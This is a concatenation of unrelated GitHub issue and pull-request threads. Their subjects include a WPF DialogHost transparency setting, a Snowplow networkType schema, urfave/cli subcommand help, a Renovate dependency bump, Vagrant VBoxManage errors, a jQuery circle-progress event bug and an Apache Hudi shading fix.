In fact, my case is that I need to set a WindowsFormHost in the popup (PdfViewer) and it's not rendering properly because AllowsTransparency has been set to true.
It could be great to be able to manage this case by having a new parameter on the DialogHost so we can set AllowsTransparency = false when needed.
Thanks
For reference, plz find the issue explanation:
This is a limitation of using WS_EX_LAYERED and UpdateLayeredWindow(). This form of layered windows does not support child windows. This is a Win32 limitation, not a WPF limitation. Child windows could be used with constant opacity (WS_EX_LAYERED and SetLayeredWindowAttributes) but WPF does not support that mode, as it is more restrictive (constant versus per-pixel opacity).

@elvince take a look at the linked PR that I did for this. Rather than putting in an attached property I switched to setting the popup's properties in a style. So for your example I would expect something like this would work for you:
<Style TargetType="{x:Type local:DialogHost}" BasedOn="{StaticResource {x:Type local:DialogHost}}">
    <Setter Property="PopupStyle">
        <Setter.Value>
            <Style TargetType="{x:Type controlzEx:PopupEx}" BasedOn="{StaticResource MaterialDesignDialogHostPopup}">
                <Setter Property="AllowsTransparency" Value="False" />
            </Style>
        </Setter.Value>
    </Setter>
</Style>

Thanks for the PR this should work and it's more flexible than my solution. +1!
I saw a side effect to set AllowsTransparency = True. When the popup "close", the popup window is still there.
We weren't able to see that before before it was transparent, but when you set it to "false", the background is black :D
I think this is an issue to have the popup window still there & rendering when the popup is closed. Should I open a new ticket for this?

Yea I think a separate issue is best for that. Ideally if you could post a project that reproduces the problem that would be best. Running with my changes in the demo application I am not seeing the behavior (though I have not tried inside of a WinForms app).

ok I will open a new issue. The behavior is not linked to "WindowFormHost" control. I tried without it.
In fact, if you set properly the popup to AllowsTransparency= false, the background is black.
If you didn't see it, that might be that the "PR" is not correct.
You can try to put:
<Popup AllowsTransparency="False" Margin="20" Placement="Center" IsOpen="True" >                                     <TextBox Text="TEST"/>                                 </Popup>
That's a standard popup so you can see the black background when it's false.
Your changes should allow to have the same behavior.

Setting AllowsTransparency to false is not a goof option for Popup. It's maybe better to use the AirspaceDecorator together with the WindowsFormHost. This issue is always the same, cause WPF and WinForms have different rendering mechanism.
Here is the FAQ for MahApps: https://github.com/MahApps/MahApps.Metro/wiki/FAQ#why-is-windowsformshost-and-webbrowser-flickering

This has already been addressed in the latest 3.0.0 release


Add osFlavor and networkType properties

A proposed version bump to include both a field for Android flavors (distinct builds for different stores, locales, etc) as well as network types (3G, LTE, WiFi).
I put this into a distinct version file following the established pattern. I hope that’s OK.
The diff is:
18a19,21
> 		"buildFlavor": {
> 		    "type": "string"
> 		},
27a31,33
> 		"networkType": {
> 		    "type": "string"
> 		},

Does this make sense? Is it something you’d be interested in?

Hey @duncan! This looks cool. Feedback:

I think it would be osBuildFlavor or osFlavor, not buildFlavor. Or maybe androidFlavor if this is a particularly Android-esque term? What do you think?
The version line "version": "1-0-0" needs updating too

androidFlavor it is. And the version is fixed up. But, in responding to this, I'm pondering if the androidFlavor should go here. Flavors are associated with the software, not the device or OS. See: http://tools.android.com/tech-docs/new-build-system/user-guide#TOC-Product-flavors
Maybe it's better put with the user agent along with the software version number? Or maybe we need to be thinking of a property in a different context?

Hmm... Interesting. It looks on that page like there are two sibling data points: Build Type + Product Flavor. Are they easily retrieved by the Android Tracker, or would a user have to supply them?
It could be interesting to have a new context for describing the host app, with something like:

Source control commit hash of build
Version number
Build type

... etc

Yep. The flavor is automatically added in the BuildConfig. Here's a sample of the standard settings from the android tracker:
  public static final boolean DEBUG = false;
  public static final String APPLICATION_ID = "com.snowplowanalytics.snowplow.tracker";
  public static final String BUILD_TYPE = "release";
  public static final String FLAVOR = "";
  public static final int VERSION_CODE = 1;
  public static final String VERSION_NAME = "1.0";

Also of interest is the BUILD_TYPE. We have a similar mechanism in our current APIs that tells us this in a request header, but having a context with all this info—and similar info on OS X, iOS, etc, would be pretty good.
The only question on the Android side is how easy it is to get to the Build Config automatically as it's put into a package. But the package name is based on package in the AndroidManifest.xml, so I'm pretty sure we can.
If that's the case, I'd drop back to simply suggesting networkType on this context in favor of adding an "Application" context of some sort.

Hi @duncan - okay agreed, so let's drop this back to networkType and https://github.com/snowplow/iglu-central/issues/136. On networkType - should this be a string, or an enum - how knowable are the values?

Thinking out loud (and reading through the information provided by the various APIs), there are two different things network information gives us. The primary is the distinction between cellular and wifi. With cellular, the customer is typically paying for data usage. With wifi not.
The second thing network information gives us is speed. Well, sorta. It used to be that wifi could be considered to be faster than cellular, but that assumption is pretty much shot these days. My LTE connection bandwidth regularly exceeds the 50Mbps that my home networking connection gives. But, distinguishing between edge, 3g, and LTE does give us an indication of expected performance.
Network type is easy. It's an enum of either mobile or wifi.
The mobile radio technology is a bigger set and is likely to keep growing. If we capture this, it should be a string. So, maybe it's two properties:
"networkType": {
   "enum": [ "mobile", "wifi"]
},
"networkTechnology": {
   "type": "string"
},

These look good to me!

Cool! I think this one is a wrap... I'll look at implementing in the ObjC client first as that's where I'm going to spend the next part of my day.

The related Snowplow assets are here: https://github.com/snowplow/snowplow/tree/feature/blocked-schemas
See the milestone description for why these are in "blocked schemas".
To use them at Wunderlist: upgrade your Redshift table as per, then deploy the new JSON Paths file into your S3 Bucket representing your :jsonpath_assets: path. It will override the globally hosted one.

Cool. Thanks for the info on how the blocked schemas worked.


printing help - manually

Hi,
Is it possible to somehow print help manually from inside of particular command/subcommand? My use case is with commands that should work only when proper set of flags was passed - otherwise help should be displayed. Not sure how can i achieve that atm.
Kind regards.

@krzysztofantczak you should be able to call cli.ShowAppHelp. It would be nice to have a .Usage() on the context struct though.

Let me know if that doesn't work for you!

@jszwedko thanks for Your reply. It actually does work but, as i'm trying to use it with subcommand context i'd like to print help only for this subcommand (the same way it works with: app foo --help), but it seems that cli.ShowAppHelp(c) prints general usage for top app context. Usage/flags are defined for this subcommand, so i'm using it like this:
usage/flags part:
	c.Push(cli.Command{
		Name:      "tunnel",
		Aliases:     []string{"tun"},
		Usage:     "Manages tunnels",
		Action: 	execute,
		Flags: []cli.Flag {
			cli.BoolFlag{
				Name: "client, c",
				Usage: "tunnel client mode",
			},
			cli.BoolFlag{
				Name: "server, s",
				Usage: "tunnel server mode",
			},
			cli.StringFlag{
				Name: "connect",
				Usage: "server address for client mode",
			},
			cli.StringFlag{
				Name: "listen",
				Value: "<IP_ADDRESS>",
				Usage: "interface address for server mode",
			},
		},
	})

execution part:
func execute (c *cli.Context) {

	// server mode
	if c.Bool("server") == true {

		// do server stuff
	} else
	// client mode
	if c.Bool("client") == true {

		// do client stuff
	} else {
                // mode wasn't selected - print help for this subcommand
		cli.ShowAppHelp(c)
	}
}

@krzysztofantczak ah I see! In that case, I believe ShowSubcommandHelp should work for you.

Closing this, but please reopen if you feel that the issue wasn't addressed!


Remove "Running Kubernetes on CenturyLink Cloud"

Fixes #17514

/assign @sftim

/lgtm
/sig cloud-provider
/sig cluster-lifecycle
(I think those are appropriate)

Page preview:
https://deploy-preview-21155--kubernetes-io-master-staging.netlify.app/docs/setup/

Changes are within the guidelines of the KEP and https://github.com/kubernetes/website/issues/20232.
LGTM

/approve


docs: Link from examples to patterns

Description

Just add a link from /examples/README.md to /docs/patterns.md.
Motivation and Context

For ease of finding relevant code snippets, spanning multiple documentation pages.
Breaking Changes

No.
How Has This Been Tested?

[x] I have updated at least one of the examples/* to demonstrate and validate my change(s)
[x] I have tested and validated these changes using one or more of the provided examples/* projects

[x] I have executed pre-commit run -a on my pull request

Tangentially relates to #311.

This PR is included in version 9.3.0 :tada:


feat(container): update jbub/pgbouncer_exporter (v0.17.0 → v0.18.0)

Update Request | Renovate Bot
This PR contains the following updates:

Package
Update
Change

jbub/pgbouncer_exporter
minor
v0.17.0 -> v0.18.0

Release Notes

jbub/pgbouncer_exporter (jbub/pgbouncer_exporter)
v0.18.0
Compare Source
Changelog

1b1faec Update goreleaser config.
6e22374 Update CHANGELOG for 0.18.0.
994d00d Use alpine 3.20.
12d8a3d Expose database server_lifetime metric.
46e9027 Add lint ci step.
aded50a Update deps.
479710b Use Go 1.23.
6ef6502 Use pgbouncer 1.23 in docker compose.
3b7ae2c Update rows of pgbouncer 1.23 (#32)

Configuration
📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

[ ] If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

⚠ Artifact update problem
Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.
♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:
File name: undefined
Command failed: ./hack/bump-chart-version.sh 'pgbouncer' '' 'true' ''
sed: 1: "charts/pgbouncer/Chart. ...": command c expects \ followed by text


Get rid of bzk service commands

bzk service commands have outgrown their usefulness: to quickly get a bazooka instance running.
This part is a big chunk of code, and maintaining and evolving it is becoming a PITA, which slows down future evolutions.
Other alternatives are starting to land, like a docker-compose based solution in #283.
@julienvey: what do you think about this ?

I have tested the other PR with docker-compose and it works great. I like that we can start bazooka in the foreground and have all the logs, this is very usefull for development.
So I agree, we should get rid of the service command. A simple compose file is much more maintable.
@jawher I will merge both PR, but can you update the documentation to reflect the new way to install bazooka

This one actually has conflicts after I merged the first one


[question] how to know when transaction was "sent" to wallet?

Hi! I'm using useDApp for the first time. So far, so good! A much better experience than doing everything by hand.
I have a question: what's the recommended way of knowing when a transaction request was sent to metamask, but was still not signed?
I'm currently doing something like:
function SomePage() {
  const { account, library} = useEthers();
  const [walletOpened, setWalletOpened] = useState(false);
  const { sendTransaction, state } = useSendTransaction({ transactionName: 'Send Ethereum' })
  ...
  const sendHandler = async function() {
    if (!account) return;
    const amountWEI = ethers.utils.parseEther("1.0");
    sendTransaction({ to: address, value: amountWEI})
    setWalletOpened(true);
  }
  ...
  return <Button onClick={sendHandler} isLoading={walletOpened}>Send</Button>
}

But I was wondering if there is built-in support for something like this from the framework. I couldn't find anything in the docs. Thanks!

Aren't those information supposed to be in state None, Mining, etc?

@noobshow exactly
See docs

What's the state that indicates a tx being sent to metamask before it was
approved by the user?
On Sat, Nov 20, 2021, 16:54 Marek @.***> wrote:

@noobshow https://github.com/noobshow exactly
See docs
https://usedapp.readthedocs.io/en/latest/guide.html#transactions
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/EthWorks/useDApp/issues/331#issuecomment-974703063,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AACGDVPJN4SEO3MRJ4XCXY3UM74FPANCNFSM5D434MAA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

You can debug it by using useEffect to check what changed within the state then see what it's at whenever it get sent to Metamask.
I think that's still gotta be None, since Mining indicates the transaction being sent to node


Keg drawer component

Context

We need a drawer component

Goal

Add a drawer component

Updates

repos/keg-components/src/components/box/textBox.stories.js

Fixed bug causing the input ref to not be set properly

repos/keg-components/src/components/drawer/drawer.examples.js

Added example of using the drawer component

repos/keg-components/src/components/drawer/drawer.js

Finished the drawer component

repos/keg-components/src/components/drawer/drawer.stories.mdx

Added a story to show a working example of using the drawer component

repos/keg-components/src/components/form/input/input.js

Added the passed in ref to the Input component props

repos/keg-components/src/components/typography/p.js

Updated the paragraph component to have consistent behavior with web
Each new paragraph should be on it's own line

repos/keg-components/src/hooks/useClassList.js

Fixed a bug that causes an error to throw in some cases when using the hook

repos/keg-components/src/theme/typography.js

Updated the paragraph component to have consistent behavior with web
Each new paragraph should be on it's own line

repos/re-theme/src/styleInjector/__tests__/injectHelpers.js && repos/re-theme/src/styleInjector/__tests__/styleInjector.js

Added more tests

Testing

Run the docker package => keg dpg run docker.pkg.github.com/simpleviewinc/keg-packages/keg-components:keg-drawer-component

Ensure the textbox component does not throw an error when typing into the input
Ensure the drawer component stories render properly
Ensure you can open and close the drawer

Pull the PR, and run tests for ReTheme

keg retheme && keg pr 41 && yarn install && yarn test
Ensure all tests pass

Updated based on comments. Ready for review again


Issue with Syntax

There was an error loading a Vagrantfile. The file being loaded
and the error message are shown below. This is usually caused by
a syntax error.
Path: C:/Users/bbethell/.vagrant.d/boxes/flixtech-VAGRANTSLASH-kubernetes/1.6.4/virtualbox/Vagrantfile
Line number: 0
Message: Errno::ENOENT: No such file or directory - vboxmanage --version

New Issue now instead....
Virtual box version is too old, even though it is on 5.1

@bbethell What does vboxmanage --version say?

Hi,
it says error while loading shared libraries: VBoxRT.dll no such file or directory?
I have VBoxManage in my vagrant/bin directory
Thanks
Billy
-------- Original message --------
From: Steffen Hanikel<EMAIL_ADDRESS>Date: 28/06/2017 16:38 (GMT+00:00)
To: flix-tech/vagrant-kubernetes<EMAIL_ADDRESS>Cc: bbethell<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Subject: Re: [flix-tech/vagrant-kubernetes] Issue with Syntax (#6)
@bbethellhttps://github.com/bbethell What does vboxmanage --version say?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/flix-tech/vagrant-kubernetes/issues/6#issuecomment-311699207, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AYAMgMJJxCNZyMn9FOAZqDGX1DlBaQjJks5sInOBgaJpZM4OGqKe.

I experienced the same issue when upgrading box from 1.5.1 to 1.6.4. On Windows 10 I would get the exact same error that @bbethell got. When I tried vboxmanage on PowerShell it said no such command. Once I added VirtualBox installation to Path and restarted PowerShell everything worked fine. I am not sure what fixed it.


duplicated events callback when using the same circle in multiple times

drawAnimated: function(v) {
    var self = this,
        el = this.el;
        el.unbind(); //  <------- just add this to fix the this bug. :)

    el.trigger('circle-animation-start');

    $(this.canvas)
        .stop(true, true)
        .css({ animationProgress: 0 })
        .animate({ animationProgress: 1 }, $.extend({}, this.animation, {
            step: function(animationProgress) {
                var stepValue = self.animationStartValue * (1 - animationProgress) + v * animationProgress;
                self.drawFrame(stepValue);
                el.trigger('circle-animation-progress', [animationProgress, stepValue]);
            },
            complete: function() {
                el.trigger('circle-animation-end');
            }
        }));
},

w/o changing source code, I add unbind in event callback to fix this issue temporarily,
 .on('circle-animation-end', function(event){
    //blabla ......
    $(this).unbind();
  });

Hi!
Sorry for delayed reply. Could you, please, give an example, how exactly can I reproduce this issue? (full code example)

@kottenator
First of, awesome plugin many thanks.
See code below, "end" will be called twice(directly and when animation is finished).
$('.preloader .circle').circleProgress({
	value: 1,
	size: 100,
	emptyFill: "rgba(68,68,68,1)",
	fill: {
	     color: "#ffba00"
	}}).on('circle-animation-end', function(event) {
    		console.log( "end" )
	});

Adding javascript el.unbind(); to src will fix this

But it's absolutely normal behavior. You attach event handler twice - and it's triggered twice.
If you want to re-use the same circle but to trigger the event only once, do next:
$('.preloader .circle').circleProgress({
    value: 1,
    size: 100,
    emptyFill: "rgba(68,68,68,1)",
    fill: {
         color: "#ffba00"
    }
});

$('.preloader .circle').on('circle-animation-end', function(event) {
    console.log("end");
});

// event is triggered once

$('.preloader .circle').circleProgress({
    // ...
});

// event is triggered once more, but not twice

Have I solved your problem? Or haven't I understood it?

Hi,
Sorry for the late reply. Yes thanks I updated my code with your and it worked perfect.


Base-Layer: select scale

[ ] Manually using an input field
[ ] Automatically by selecting two points on the map

Actually only two points on the map are required in the use case but probably it won't harm to have a manual scale, too.


Can't retrieve other sprites

While trying to retrieve the official artwork for a pokemon using the example code provided, I received this error:
Traceback (most recent call last):
  File "C:\Users\10student\PycharmProjects\PokemonAPITest\main.py", line 3, in <module>
    s2 = pb.SpriteResource('pokemon', 1, other_sprites=True, official_artwork=True)
  File "C:\Users\10student\AppData\Local\Programs\Python\Python39\lib\site-packages\pokebase\interface.py", line 246, in __init__
    self._load()
  File "C:\Users\10student\AppData\Local\Programs\Python\Python39\lib\site-packages\pokebase\interface.py", line 251, in _load
    data = get_sprite(self.sprite_type, self.sprite_id, **self.__orginal_kwargs)
  File "C:\Users\10student\AppData\Local\Programs\Python\Python39\lib\site-packages\pokebase\api.py", line 71, in get_sprite
    data = _call_sprite_api(sprite_type, sprite_id, **kwargs)
  File "C:\Users\10student\AppData\Local\Programs\Python\Python39\lib\site-packages\pokebase\api.py", line 54, in _call_sprite_api
    response.raise_for_status()
  File "C:\Users\10student\AppData\Local\Programs\Python\Python39\lib\site-packages\requests\models.py", line 960, in raise_for_status
    raise HTTPError(http_error_msg, response=self)
requests.exceptions.HTTPError: 404 Client Error: Not Found for url: https://raw.githubusercontent.com/PokeAPI/sprites/master/sprites/pokemon/other-sprites/official-artwork/1.png

I ran this exact:
import pokebase as pb

s2 = pb.SpriteResource('pokemon', 1, other_sprites=True, official_artwork=True)

print(s2.path)

The example in the README is slightly wrong. The code was updated at some point, so instead of using other_sprites=True, it should be other=True. I'll submit a PR to change that since this keeps happening.


Update user guide

Codecov Report

Merging #156 into master will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #156   +/-   ##
=========================================
  Coverage     67.77%   67.77%
  Complexity      689      689
=========================================
  Files           113      113
  Lines          2501     2501
  Branches        270      270
=========================================
  Hits           1695     1695
  Misses          703      703
  Partials        103      103

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0b70efd...559de6e. Read the comment docs.


Loading a chart in a hidden div

Expected Behaviour
The chart is added in a div that is set to display:none. Once the div becomes visible (with javascript), the chart is visible.
Actual Behaviour
The chart is added in a div that is set to display:none. Once the div becomes visible (with javascript), the chart doesn't display. Instead the graph area is very narrow because there are no bars plotted on the chart. Once the window is resized slightly, the chart displays correctly I assume because of the resize event. There needs to be a way to trigger the resize event for the chart of some generic "refresh" method to make the chart render correctly when being loaded in a display:none div initially.

same as #289

There needs to be a way to trigger the resize event for the chart of some generic "refresh" method to make the chart render correctly when being loaded in a display:none div initially.

You can use chart.draw(true) method


Fix/stripe graphql updates

Codecov Report

Merging #957 (ea34a38) into main (4ca738b) will increase coverage by 0.00%.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #957   +/-   ##
=======================================
  Coverage   96.52%   96.52%
=======================================
  Files          39       39
  Lines        6212     6273   +61
  Branches      384      393    +9
=======================================
+ Hits         5996     6055   +59
- Misses        216      218    +2

Impacted Files
Coverage Δ

packages/core/src/machines/index.ts
98.52% <0.00%> (-0.14%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

we'll need a changeset

we'll need a changeset

Thanks for reminding me. I always forget.


add commons-codec to maven-shade-plugin

Tips

Thank you very much for contributing to Apache Hudi.
Please review https://hudi.apache.org/contributing.html before opening a pull request.

What is the purpose of the pull request
when i use hbase index,is cause some error like below

org.apache.commons.codec has been relocation to org.apache.hudi.org.apache.commons.codec,but org.apache.commons.codec not in include set.
(For example: This pull request adds quick-start document.)
Brief change log
(for example:)

Modify AnnotationLocation checkstyle rule in checkstyle.xml

Verify this pull request
(Please pick either of the following options)
This pull request is a trivial rework / code cleanup without any test coverage.
(or)
This pull request is already covered by existing tests, such as (please describe tests).
(or)
This change added tests and can be verified as follows:
(example:)

Added integration tests for end-to-end.
Added HoodieClientWriteTest to verify the change.
Manually verified the change by running a job locally.

Committer checklist

[ ] Has a corresponding JIRA in PR title & commit

[ ] Commit message is descriptive of the change

[ ] CI is green

[ ] Necessary doc changes done or have another open PR

[ ] For large changes, please consider breaking it into sub-tasks under an umbrella JIRA.

@peng-xin IMO, you just need to keep one PR, close this one, and remain #2683 . wdyt?

I also see the relocation there, if I am not wrong. So unsure how this is happening.

I also see the relocation there, if I am not wrong. So unsure how this is happening.

but the commons-codec package is not in the includeSet(maven-shade-plugin) .

@peng-xin IMO, you just need to keep one PR, close this one, and remain #2683 . wdyt?

but the master br has the same problem